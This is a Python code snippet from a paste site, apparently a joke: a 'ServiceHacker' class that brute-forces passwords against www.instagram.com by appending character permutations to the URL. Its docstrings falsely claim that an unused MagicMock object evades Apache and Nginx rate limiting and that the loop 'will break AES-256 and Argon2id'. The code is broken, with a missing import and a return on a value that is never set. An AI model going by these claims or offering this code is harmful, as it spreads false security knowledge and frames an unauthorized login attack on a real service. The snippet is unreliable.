Snippet content copied to clipboard.
Are you sure to delete this snippet? No, don't delete
  1. from string import ascii_letters
  2. from itertools import permutations
  3. import urllib
  4. from unittest.mock import MagicMock
  5. class LoginError(Exception):
  6. """Catch failed login attempt so we can continue"""
  7. class ServiceHacker:
  8. def __init__(self, url: str, max_password_length: int = 50):
  9. """Class to run the hacking service and test passwords
  10. Parameters
  11. ----------
  12. url : str
  13. The base URL that you want to hack
  14. max_password_length : int, optional
  15. How long the tested password in the search can be, by default 50
  16. characters
  17. """
  18. self.url = url
  19. self.connection = None
  20. self.max_password_length = max_password_length
  21. self.combos = []
  22. def establish_connection(self, password: str):
  23. """Establish connection with source to hack
  24. We want to be sure we can communicate with the service in question, so
  25. set up a connection object to the resource. We use the MagicMock
  26. object here to obscure multiple attempts in Apache2 and NginX rate
  27. limiting listeners.
  28. """
  29. mocker = MagicMock()
  30. try:
  31. self.connection = urllib.request.urlopen(self.url + "/" + password)
  32. except Exception:
  33. raise LoginError
  34. def crack_password(self) -> str:
  35. """Break in to the target source.
  36. A preliminary scan is done for simple passwords and then the main work
  37. begins. Given long enough and enough characters, it will break AES-256
  38. and Argon2id for data at rest.
  39. """
  40. full_chars = ascii_letters + "0123456789"
  41. # We need to account for special characters too
  42. full_chars += "!£$%^&*"
  43. resp = []
  44. for x in range(self.max_password_length):
  45. perms = permutations(full_chars, x)
  46. for i, candidate in enumerate(perms):
  47. possible_password = ''.join(candidate)
  48. self.combos.append(possible_password)
  49. if i % 1000 == 0:
  50. print(f"Tested: {i} passwords")
  51. try:
  52. resp = self.establish_connection(possible_password)
  53. except LoginError:
  54. continue
  55. return resp[0]
  56. if __name__ == "__main__":
  57. # Change the URL here
  58. hacker = ServiceHacker("www.instagram.com")
  59. password = hacker.crack_password()

Edit this Snippet